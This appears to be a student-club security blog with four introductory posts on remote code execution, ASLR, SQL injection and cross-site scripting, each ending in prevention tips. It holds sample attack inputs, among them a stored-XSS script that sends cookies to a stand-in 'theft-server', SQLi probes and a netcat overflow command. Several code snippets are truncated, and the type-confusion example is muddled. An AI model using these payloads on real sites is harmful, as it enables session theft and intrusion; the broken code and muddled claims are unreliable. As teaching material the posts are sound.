by ACM at CSUF

The official ACM at CSUF blog.RSS feed logo

  • Remote code execution, simplified

    Hello again to any acmFolks at and anyone else reading! Today we’re gonna talk about another category of web-vulnerabilities called Remote code execution. The reason I'm writing about RCE is because after reading about it I found it fascinating how it can manifest itself in so many different, nuanced ways.

    What is RCE?

    So first let’s go over what remote code execution is in the first place.

    RCE is very broad and seems like it encompasses lots of web vulnerabilities, but like other web-vulnerabilities that exist it usually starts when user input is not sanitized and code/commands gets injected into an application, network or machine remotely leading to unintended code execution. After attackers can run their own code, this may allow them to gain full access or steal data.

    How does RCE occur

    RCE can manifest itself through De-serialization, Buffer overflows and Type Confusion and many other methods. Through these, attackers can inject code or commands into a system, and from there escalate access.


    When data is sent to a system it gets serialized (converted to binary) and then deserialized(back to object code), if formatted properly you can maliciously create objects that execute code when deserialized. Take this hypothetical flask app.

    from flask import Flask, request, jsonify
    import json
    app = Flask(__name__)
    @app.route('/process_data', methods=['POST'])
    def process_data():
        # Deserialize
        user_data = json.loads(
        return jsonify({"message": 'Data processed successfully'})
    if __name__ == '__main__':

    There’s potential vulnerabilities on the use of json.loads() since no validation happens on whatever json payload is sent into the save_user_data() function. Assuming the save_user_data() function did not properly validate then an attacker could pass in some data like this as data and get it deserialized by the server so that it would call os.system.

      "__class__": "os.system",
      "__args__": ["echo Hacked > /tmp/hacked.txt"]

    To prevent this you could use json web tokens(JWTs), or use libraries that specialize in serialization.
    (json.loads is actually pretty safe-ish and this is for examples sake, other libraries like python pickles have had deserialization exploitation see )


    Apps use buffer(temp storage) memory for data storage, this includes user data. In a buffer attack an attacker would write to memory due to lack of checks on allocated memory bounds. When the buffer does overflow it overwrites memory and this can be used to destroy data, make networks unstable, or replace memory with code.

    Let’s see a simple example of this below on this simple TCP server.

    import socket
    HOST = ''
    PORT = 3000
    def echo_server():
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.bind((HOST, PORT))
        print(f"[*] Listening on {HOST}:{PORT}")
        client_socket, client_address = server_socket.accept()
        print(f"[*] Accepted connection from {client_address}")
        data = client_socket.recv(1024)
        print(f"[*] Received data: {data}")
        buffer = bytearray(4)  # A buffer that can hold 4 bytes
        buffer[:len(data)] = data
    if __name__ == "__main__":

    Since the buffer has a defined size of 4 bytes an attacker could send data that is larger then that and cause unexpected behavior.

    An attacker could use something like netcat to connect to the server and send something like
    echo -n -e "\x41\x42\x43\x44\x45\x46\x47\x48" | nc 3000

    After sending these 8 bytes into the input it will cause a buffer overflow. The bytes after the first 4 would overwrite memory. Now assuming if the input isn’t being sanitized in any other way an attacker could craft a payload that includes shellcode to pass code into that target system.

    (It’s important to note buffer overflows are more commonly found in low-level languages like C and C++ rather than Python and that python has more built in safety mechanisms but this code is for examples/understanding's sake)

    Type confusion

    Type confusion occurs when an object gets passed in without checking its type. It’s worth noting this tends to happen in applications written in more type heavy languages like in C or C++ but it can happen on web/network apps too.Let’s take a look at this hypothetical flask app.

    from flask import Flask, request
    app = Flask(__name__)
    user_data = []
    @app.route('/submit', methods=['POST'])
    def submit():
        name = request.form['name']
        age = request.form['age']
        # Create a dictionary to store the user data
        data = {'name': name, 'age': age}
        # Add the user data to the list
        return "Data submitted successfully!"
    @app.route('/display', methods=['GET'])
    def display():
        return str(user_data)
    if __name__ == '__main__':

    This app has two routes /submit and /display that display data. An attacker could send a post request to /submit with data like

    POST /submit HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    And set the name to proto and the age to set the admin status as true.

    __proto__ is a js property that allows objects to access their prototypes, which basically means they can inherit properties/methods from other objects.

    Anyway, the end result is that they bypassed a check on the isAdmin property due to improper object validation. This is a type confusion vulnerability since an attacker could inject a property into user data, but the application interprets it as an admin privilege. (this example also demonstrates a bit of prototype pollution as we are adding properties object prototypes)

    Other RCE

    Remote Code Execution (RCE) is a serious threat in web applications, and it can arise through various attack vectors. Common vulnerabilities like path traversal, SQL injection (SQLi), cross-site scripting (XSS), OS command injection, and code evaluation can all lead to RCE. However, the list of potential vulnerabilities doesn't end there. Other web vulnerabilities, including file upload flaws, XML injection (XXE), server-side request forgery (SSRF), and command injection on shells, can also be exploited to achieve RCE. Therefore, web developers and security practitioners must be vigilant in addressing all these potential attack vectors to protect against RCE and ensure the security of their applications.

    How to prevent RCE

    The first thing would be sanitizing user input properly, so validating/filtering input data, and any api/web service data.
    Another thing would be to use prepared statements for any sql to prevent SQLi. Escape sanitization should also be applied to any sites where code can be executed.
    Have a zero trust approach to any applications. Another good standard is to not allow any services to run as root, as this is bad practice and should go without saying.


    Those are some of the basic ways Remote code execution attacks can happen and hopefully help you better understand RCE. It’s pretty insane how many different ways attackers can get code to run on a targeted machine or system, and there’s so many countless different ways they can do it. Thanks for reading!

    July 28, 2023 • 6 min read

  • Address Space Layout Randomization (ASLR) simplified!

    What is up my ACM folks, today we’re gonna talk about ASLR!

    I never really considered where applications load resources when executed and how this could be targeted for attack if they were loaded into the same address each time. So, when I read about ASLR I thought it was very cool, and I want to share and give a quick high level overview on what I learned about ASLR.

    What is ASLR?

    By default, programs may allocate various components, such as the stack and heap, at predictable memory locations when they are executed. This predictable allocation can make it easier for attackers to attempt buffer overflow attacks. However, address space layout randomization (ASLR) techniques counter this vulnerability by randomizing the memory locations where the application loads its resources and components at load time. Each time the application is run, the resources that were previously allocated at a specific address, such as 0xA1234567, would be placed at a different, randomized address like 0xB7654321

    How does it protect your environment?

    ASLR provides protection to your environment by randomizing the addresses of application resources. This randomization makes it significantly more challenging for attackers to pinpoint specific memory addresses for carrying out memory exploitation attacks.

    How to implement ASLR in your operating system?

    In Windows 10, you can turn on ASLR in the settings under Exploit protection. By default, it's off but can be enabled. However, the effectiveness of this Windows 10 feature may vary.

    In Linux, ASLR is turned on by default with a value of 2. Setting it to zero would turn it off if, for some reason, you wanted to do that.

    sysctl -w kernel.randomize_va_space=2


    One downside to ASLR is that some people report it can cause problems with certain drivers for some programs. ASLR can also cause errors in databases and servers. For example, in DB2, it can lead to odd behavior due to how maps share memory across processes. ASLR techniques can interfere with addressing.

    While ASLR is a very neat technique to enhance application safety, it's important to keep in mind that ASLR techniques alone won't ensure complete security. It should be combined with other memory protection techniques to add more layers of safety. These drawback exists because ASLR is limited to the number of memory addresses on the system.

    July 8, 2023 • 2 min read

  • SQL Injection, simplified

    Hello again my ACM folks, last time we broke down XSS on a higher abstract level ( Today we’re gonna go over another pretty common web vulnerability called SQL injection ( This is another pretty common vulnerability to keep in mind when developing applications that make use of databases.

    What is SQL injection?

    SQL injection occurs when malicious SQL is injected into your application to manipulate or access any information that isn't really intended to be shown or accessed. This occurs when attackers take advantage of SQL syntax to inject some into your site to modify queries that go on in the backend.

    What is the impact of a successful attack?

    When someone has access to querying any information in your database they can extract sensitive info you didn't intend for them to see, like user info, passwords, payment information, etc. They can also create admin logins in the database. Having admin logins pretty much lets attackers do whatever they want as if you handed over the application to them directly.

    What types of SQL injection methods exist?

    When watching out for SQL injection some of its main forms are In-band (classic) SQLi, Blind SQLI and Out of band SQLi.

    ├── In Band
    │ ├── Error-based
    │ └── Union-based
    ├── Blind
    │ ├── Boolean based
    │ └── Time based
    └── Out of band

    In-band (classic) SQLi

    In-band SQL refers to the attacker using the same channel to attack and gather results.
    Under In-band SQLi there exists, Error-based SQLi, and Union-based SQLi.

    Error based SQLi

    is when an attacker causes the database to show error messages to lead them to a successful attack. By using these error messages they can prune and gather information on how the database is structured.

    This can be as simple as trying to sqli a hyperlink to get errors’

    The database could then throw errors such as giving up the syntax that causes the error, and what type of database is used.

    Union-based SQLi

    takes advantage of the UNION operation in SQL, and allows attackers to combine multiple select statements to gather information about the database.

    Here's an example of a simple union statement that adds on multiple select statements to one query.

    SELECT a, b from table1 UNION SELECT c, d from TABLE2

    Something to keep in mind is that UNION statements only work when the columns have the same data types.

    Inferential (blind) SQLi

    occurs when there is no HTTP response or database errors shown. Instead attackers look at how the application responds. Two ways of doing this are Boolean based queries and Time based queries.

    Boolean-based SQLi

    One way of doing this is by making use of different SQL queries that query true or false statements to tell if a database is susceptible to blind SQLi by comparing differences in response between the true and false statements.

    If an attacker can modify a query to return no items then they know the page is vulnerable.

    For example

    http://www.twitter/user.php?id=123456 and 1=2

    The SQL query would return false and the user would not be displayed.

    http://www.twitter/user.php?id=123456 and 1=1

    After testing something like this the SQL query would return true and the user would be displayed. By comparing the two results we know the page is vulnerable to SQLi.

    Time based SQLi

    Time based SQLi tries to make the database wait after a query is submitted. If a query takes longer to load the results we know the database is successful to SQLi.

    Here's an example of a query that would make the database take longer to load.

    SELECT * FROM users WHERE id=1; IF SYSTEM_USER=’anguzz’ WAIT FOR DELAY ’00:00:15’

    Out of band SQLi

    Out of band SQLi occurs when the attacker does not receive a response from the application but instead is able to cause the application to send data to a remote endpoint.

    For example an attacker sends a payload that causes a database to send a DNS request to a server in the attacker's control. The attacker can use the information sent to the server to carry out more attacks.

    Out of band relies on the database server to make DNS or HTTP requests to send the attacker data. Different databases have different commands to do this for example, SQL server has xp_dirtree and Oracle has the UTL_HTTP package

    Preventing SQLi

    Let's go over some of the techniques or good practices you can follow to prevent SQLi.

    Using prepared statements is a good practice. This is when you take user input as parameters and pass those parameters into constructed queries. You do not want to take complete user inputs as strings.

    Another method is using stored procedures which are similar to prepared statments in that they are when sql statements are parameterized, instead though the SQL code procedure is defined and stored in the database and called by the application as needed.

    You can also disable SQL error messages in your applications output to prevent giving up information on your database and making it harder for attackers.

    A last good practice is to just give your database the least privilege it needs to run. Usually you won't have DDL statements(create/modify/alter tables) and only be running DML statements(query/edit/add/remove data). DDL statements tend to usually change the structure of the table, and this usually only happens at the creation of the database, hence you should only allow DML statements for the most part.

    SQLi can get pretty complicated and this just scratches the surface to give you a basic understanding of the different types of SQLi out there.

    Practice SQL

    Practice more SQLi at and under SQLi.

    Injection on NoSQL databases

    Its to be noted that NoSQL databases like MongoDB, Cassandra, or Redis can also be injected.
    NoSQL DBs tend to follow JavaScript Object Notation (JSON) format. More information on this can be found at

    May 1, 2023 • 5 min read

  • Cross Site Scripting, simplified

    What is up my ACM folks, today we’re gonna break down and simplify Cross Site Scripting (XSS) on a higher abstract level. XSS is a pretty common web vulnerability so it’d be beneficial to know a bit about it when developing web applications.

    Have you ever wondered what could happen when you click on a sketchy link? Well XSS is one of the many ways links could be used to compromise your system. Let’s go over how.

    What is XSS?

    Simply put, XSS occurs when a payload is injected into your browser.

    This is a pretty big deal since an attacker can execute JavaScript in your browser, which can fully compromise you. An attack could execute any action in that application and view/modify any data in your window. With this, an attacker could steal your user accounts, hijack credentials, and take sensitive data.

    What types of XSS exist?

    When watching out for XSS it comes in 3 main forms, Reflected, DOM-based and Stored.

    Reflected XSS

    Reflected XSS occurs when JavaScript is executed with origins from an HTTP request. This is reflected either be a website’s results or response immediately.

    When looking out for reflected XSS it’s important to know that reflected attacks occur in emails or URLs.

    Let’s go over a simple made up example that occurs if you were to search for a certain user on twitter.

    In the URL response the application would echo would be

    <p> You searched for: angus </p>

    Under the assumption this link isn’t processed in any way, an attacker could modify the URL like so.<script>Malicious stuff </script>

    Now If a user were to visit this link the malicious JavaScript would be executed in their browser.


    Now let's go over DOM-based XSS, which occurs when an app has some client side code that is modified to run in an unintended way.

    For example a web page can have an input field that is populated through a URL query similar to reflected XSS. This populated input field then causes an issue that makes the DOM behave unexpectedly.

    Let’s say we have an input field to choose a pizza type for our pizza order.

    document.write("<OPTION value=1>"+decodeURIComponent(document.location.href.substring(document.location.href.indexOf("default=")+8))+"</OPTION>");
    document.write("<OPTION value=2>Pepperoni</OPTION>");

    Let’s say by default the link looks something like this.

    An attacker could give you a link<script>alert(document.cookie)</script>

    Now the DOM would create an object for that string which could be exploited to steal your cookies.

    Stored XSS

    Lastly let's go over Stored XSS, which functions a bit differently then Reflected or DOM XSS. Here the malicious script comes from a server or database. This happens because the application server first received malicious data from input on the application. The input can come in anywhere that input is allowed, like choosing a username, contact info or pretty much any input field on an application or website. Later users receive that data in an HTTP response.

    For example some an attacker could input something like this as a username to take a users session identifier cookies.

    <script>var+img=new+image();img.src="http://theft-server/" + document.cookie;</script>

    Let’s assume the input wasn’t processed after this, then the website would post this username through an HTTP request and any user who visits that user profile would receive the attacker's intended response.

    The reason Stored XSS is a bit more dangerous is because it is self contained in the application, unlike Reflected/DOM XSS where you would have to introduce another user to the exploit through something like a URL.

    Preventing XSS

    Some good practices to prevent XSS are to filter your input fields when taking input, encoding output data so it’s not misinterpreted as content, and using proper response headers. You could also use a Content Security Policy (CSP) HTTP header in your webpages. CSP can make it so only your content only comes from the site origin, allowing/disallowing certain domains and restricting/allowing certain content media types like images, audio, etc.

    These are the basic concepts behind XSS, but XSS can get pretty complicated so it’s good to look into some of the more advanced techniques in which it could manifest itself.

    February 23, 2023 • 4 min read